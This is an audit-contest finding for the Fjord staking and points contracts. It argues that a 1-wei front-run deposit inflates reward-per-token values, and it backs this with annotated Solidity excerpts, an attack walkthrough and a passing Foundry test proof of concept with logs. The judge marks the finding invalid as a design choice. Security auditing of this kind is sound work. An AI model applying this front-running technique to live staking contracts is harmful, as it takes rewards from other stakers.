Fjord Token Staking
Fjord
DeFiFoundry
20,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Invalid

FjordStaking's `rewardPerToken` and FjordPoint's `pointsPerToken` can be inflated, leading to users obtaining more rewards than they deserve

0xb0k0

Summary

A malicious user can deposit 1 wei worth of tokens just before an award is added to the FjordStaking contract, causing the rewardPerToken value to be greatly inflated, leading to the user obtaining more rewards than others. The same issue is propagated in the FjordPoints contract, as the pointsPerToken also depends on the totalStaked, as every time FjordTokens are staked in FjordStaking, points are accumulated in the FjordPoints contract.

Vulnerability Details

When a user calls FjordStaking::stake(...) with just 1 wei, it updates the totalSupply of the staking contract to 1 wei, which after the next award accumulation and epoch rollover will cause the rewardPerToken for that epoch to be greatly inflated due to multiplying by PRECISION_18 and expecting the totalSupply to also be with e18 (leading to values in the range of e36).

function _checkEpochRollover() internal {
__SNIP__
if (totalStaked > 0) {
uint256 currentBalance = fjordToken.balanceOf(address(this));
​
// no distribute the rewards to the users coming in the current epoch
uint256 pendingRewards = (currentBalance + totalVestedStaked + newVestedStaked)
- totalStaked - newStaked - totalRewards;
@> uint256 pendingRewardsPerToken = (pendingRewards * PRECISION_18) / totalStaked; // this would be in the range of e36
totalRewards += pendingRewards;
for (uint16 i = lastEpochRewarded + 1; i < currentEpoch; i++) {
rewardPerToken[i] = rewardPerToken[lastEpochRewarded] + pendingRewardsPerToken;
emit RewardPerTokenChanged(i, rewardPerToken[i]);
}
} else {
for (uint16 i = lastEpochRewarded + 1; i < currentEpoch; i++) {
rewardPerToken[i] = rewardPerToken[lastEpochRewarded];
emit RewardPerTokenChanged(i, rewardPerToken[i]);
}
}
​
__SNIP__
}
}

The same scenario is observed in the FjordPoints contract as well because staking in FjordStaking adds staked amount in the FjordPoints contract as well:

function stake(uint256 _amount) external checkEpochRollover redeemPendingRewards {
__SNIP__
@>fjordToken.safeTransferFrom(msg.sender, address(this), _amount); // stakes in FjrodPoitns as well
points.onStaked(msg.sender, _amount);
​
emit Staked(msg.sender, currentEpoch, _amount);
}

Inside FjordPoints we have a special function called distributePoints(...), which calculates how much FjordPoints a user should get based on the staked FjordTokens:

function distributePoints() public {
__SNIP__
uint256 weeksPending = (block.timestamp - lastDistribution) / EPOCH_DURATION;
@> pointsPerToken =
pointsPerToken.add(weeksPending * (pointsPerEpoch.mul(PRECISION_18).div(totalStaked))); // get overinflated because totalStaked will be 1 wei
totalPoints = totalPoints.add(pointsPerEpoch * weeksPending);
lastDistribution = lastDistribution + (weeksPending * 1 weeks);
​
emit PointsDistributed(pointsPerEpoch, pointsPerToken);
}

The above miscalculations will not only lead to the initial user obtaining more FjordTokens in rewards but will also accumulate more FjordPoints afterward, leading to an enormous advantage over the other users.

Proof of concept

  1. Alice monitors the transaction pool and sees that the Fjord admin is about to add a reward.

  2. Alice front-runs the transactions and stakes 1 wei.

  3. The admin adds the reward and time starts passing.

  4. Bob decides to stake and Alice starts staking as well, where both users stake normal amounts - 2e18 for example.

  5. Both users wait for the cycle to end so that they can unstake and claim their rewards.

  6. Even though Alice has staked 1 wei more than Bob, she gets A LOT more than Bob.

  7. Afterwards, both Bob and Alice claim their FjordPoints, and again Alice has an unfair advantage over Bob.

Coded PoC

I have used my testing suite to avoid invalid mocks as the original one.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;
​
import { Test, console } from "forge-std/Test.sol";
import { FjordStaking } from "../src/FjordStaking.sol";
import { FjordPoints } from "../src/FjordPoints.sol";
import { FjordToken } from "../src/FjordToken.sol";
import { ISablierV2LockupLinear } from "lib/v2-core/src/interfaces/ISablierV2LockupLinear.sol";
import { ISablierV2Lockup } from "lib/v2-core/src/interfaces/ISablierV2Lockup.sol";
import { Broker, LockupLinear } from "lib/v2-core/src/types/DataTypes.sol";
import { ud60x18 } from "@prb/math/src/UD60x18.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
​
contract FjordAuditTests is Test {
FjordStaking fjordStaking;
FjordToken token;
address minter = makeAddr("minter");
address newMinter = makeAddr("new_minter");
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address internal constant SABLIER_ADDRESS = address(0xB10daee1FCF62243aE27776D7a92D39dC8740f95);
address points;
bool isMock = false;
​
ISablierV2LockupLinear SABLIER = ISablierV2LockupLinear(SABLIER_ADDRESS);
address authorizedSender = address(this);
​
function setUp() public {
token = new FjordToken();
points = address(new FjordPoints());
​
fjordStaking =
new FjordStaking(address(token), minter, SABLIER_ADDRESS, authorizedSender, points);
​
FjordPoints(points).setStakingContract(address(fjordStaking));
​
FjordPoints(points).setPointsPerEpoch(1 ether);
​
deal(address(token), address(this), 10_000 ether);
token.approve(address(fjordStaking), 10_000 ether);
​
deal(address(token), minter, 10_000 ether);
vm.prank(minter);
token.approve(address(fjordStaking), 10_000 ether);
​
deal(address(token), alice, 10_000 ether);
vm.prank(alice);
token.approve(address(fjordStaking), 10_000 ether);
​
deal(address(token), bob, 10_000 ether);
vm.prank(bob);
token.approve(address(fjordStaking), 10_000 ether);
}
​
function testUserInflatesRewardsWithDustAmounts() public {
console.log("Alice's balance before stake: %d", token.balanceOf(address(alice)));
console.log("Bob's balance before stake: %d", token.balanceOf(address(bob)));
​
vm.prank(alice);
fjordStaking.stake(1);
​
_addRewardAndEpochRollover(1 ether, 1);
​
vm.prank(bob);
fjordStaking.stake(2 ether);
console.log("Points per token in FjordPoints:", FjordPoints(points).pointsPerToken());
assertEq(FjordPoints(points).pointsPerToken(), 1e36); // pointsPerToken in FjordPoints contract gets inflated by the dust amount
​
vm.prank(alice);
fjordStaking.stake(2 ether);
​
_addRewardAndEpochRollover(1 ether, 1);
​
vm.prank(bob);
fjordStaking.stake(2 ether);
​
vm.prank(alice);
fjordStaking.stake(2 ether);
​
assertEq(fjordStaking.rewardPerToken(2), 2e36); // The reward per token in the Staking contract gets inflated by the dust amount
​
_addRewardAndEpochRollover(1 ether, 8);
​
vm.prank(alice);
fjordStaking.unstakeAll();
​
vm.prank(bob);
fjordStaking.unstakeAll();
​
vm.prank(alice);
fjordStaking.claimReward(false);
​
vm.prank(bob);
fjordStaking.claimReward(false);
​
_addRewardAndEpochRollover(0, 7);
​
vm.prank(alice);
fjordStaking.completeClaimRequest();
​
vm.prank(bob);
fjordStaking.completeClaimRequest();
​
vm.prank(alice);
FjordPoints(points).claimPoints();
​
vm.prank(bob);
FjordPoints(points).claimPoints();
​
console.log("Alice's balance after stake: %d", token.balanceOf(address(alice)));
console.log("Bob's balance after stake: %d", token.balanceOf(address(bob)));
console.log("Total stake: %d", fjordStaking.totalStaked());
assert(token.balanceOf(address(alice)) > token.balanceOf(address(bob))); // Alice gets more rewards than Bob
assertApproxEqAbs(
token.balanceOf(address(alice)) - token.balanceOf(address(bob)), 2 ether, 1
);
​
console.log(
"Alice's points after claiming: %d", FjordPoints(points).balanceOf(address(alice))
);
console.log("Bob's points after claiming: %d", FjordPoints(points).balanceOf(address(bob)));
assert(
FjordPoints(points).balanceOf(address(alice))
> FjordPoints(points).balanceOf(address(bob))
); // Alice gets more points than Bob
assertEq(
FjordPoints(points).balanceOf(address(alice))
- FjordPoints(points).balanceOf(address(bob)),
1 ether
);
}
​
function _addRewardAndEpochRollover(uint256 reward, uint256 times) internal returns (uint16) {
vm.startPrank(minter);
for (uint256 i = 0; i < times; i++) {
vm.warp(vm.getBlockTimestamp() + fjordStaking.epochDuration());
if (reward > 0) fjordStaking.addReward(reward);
}
vm.stopPrank();
return fjordStaking.currentEpoch();
}
}
Ran 1 test for test/FjordAuditTests.t.sol:FjordAuditTests
[PASS] testUserInflatesRewardsWithDustAmounts() (gas: 1570862)
Logs:
Alice's balance before stake: 10000000000000000000000
Bob's balance before stake: 10000000000000000000000
points per token 1000000000000000000000000000000000000
Alice's balance after stake: 10005999999999999999971
Bob's balance after stake: 10003999999999999999970
Total stake: 0
Alice's points after claiming: 5499999999999999966
Bob's points after claiming: 4499999999999999966
​
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 12.61ms (2.54ms CPU time)
​
Ran 1 test suite in 165.15ms (12.61ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

A malicious user can inflate the reward per token values, thus obtaining more rewards than he/she deserves, as well as allowing for more points to be later claimed.

Tools Used

Manual review

Recommendations

Set a minimum amount of tokens that can be deposited, so that the rewards per token could never be inflated in such a way.

Updates

Lead Judging Commences

inallhonesty Lead Judge
about 1 year ago
inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Design choice

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.